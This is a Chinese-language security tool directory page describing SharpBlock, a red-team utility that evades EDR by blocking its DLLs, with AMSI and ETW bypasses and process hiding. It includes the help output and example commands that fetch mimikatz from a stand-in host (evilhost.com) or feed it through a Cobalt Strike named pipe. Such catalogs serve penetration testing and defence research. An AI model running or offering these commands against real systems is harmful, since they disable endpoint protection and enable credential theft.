Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SharpBlock — 通过阻止入口点执行来绕过EDR主动投射DLL的一种方法 | Kitploit
工具/GitHubGitHub/ccob/sharpblock
红队
GitHubccob/sharpblock

SharpBlock

通过阻止入口点执行来绕过EDR主动投射DLL的一种方法

查看仓库
1.2k16525年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SharpBlock

一种通过阻止入口点执行来绕过EDR主动投影DLL的方法。

功能特性

  • 阻止EDR DLL入口点执行,从而防止放置EDR钩子。
  • 无补丁的AMSI绕过,运行时的补丁扫描器无法检测到Amsi.dll的修改。
  • 主机进程可被替换为从磁盘、HTTP或命名管道加载的植入PE文件(Cobalt Strike)
  • 植入的进程被隐藏,有助于规避扫描空心化进程的检测。
  • 命令行参数在进程创建后使用隐蔽的EDR检测方法进行伪造和植入。
  • 无补丁的ETW绕过。
  • 当调用者位于被阻止DLL的地址空间范围内时,阻止NtProtectVirtualMemory的调用。
root@kitploit:~
SharpBlock by @_EthicalChaos_
  DLL Blocking app for child processes x64

  -e, --exe=VALUE            Program to execute (default cmd.exe)
  -a, --args=VALUE           Arguments for program (default null)
  -n, --name=VALUE           Name of DLL to block
  -c, --copyright=VALUE      Copyright string to block
  -p, --product=VALUE        Product string to block
  -d, --description=VALUE    Description string to block
  -s, --spawn=VALUE          Host process to spawn for swapping with the target exe
  -ppid=VALUE                Parent process ID for spawned child (PPID Spoofing)
  -w, --show                 Show the lauched process window instead of the
                               default hide
      --disable-bypass-amsi  Disable AMSI bypassAmsi
      --disable-bypass-cmdline
                             Disable command line bypass
      --disable-bypass-etw   Disable ETW bypass
      --disable-header-patch Disable process hollow detection bypass
  -h, --help                 Display this help

示例

使用notepad作为主机进程,通过HTTP启动mimikatz,同时阻止SylantStrike的DLL

root@kitploit:~
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee

使用Cobalt Strike信标通过命名管道启动mimikatz,以notepad为主机进程,阻止SylantStrike的DLL

root@kitploit:~
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi

注意,对于 upload_file 信标命令,请将 upload.cna 加载到 Cobalt Strike 的脚本管理器中

附带博文:

  • https://ethicalchaos.dev/2020/05/27/lets-create-an-edr-and-bypass-it-part-1/
  • https://ethicalchaos.dev/2020/06/14/lets-create-an-edr-and-bypass-it-part-2/
  • https://www.pentestpartners.com/security-blog/patchless-amsi-bypass-using-sharpblock/
下载工具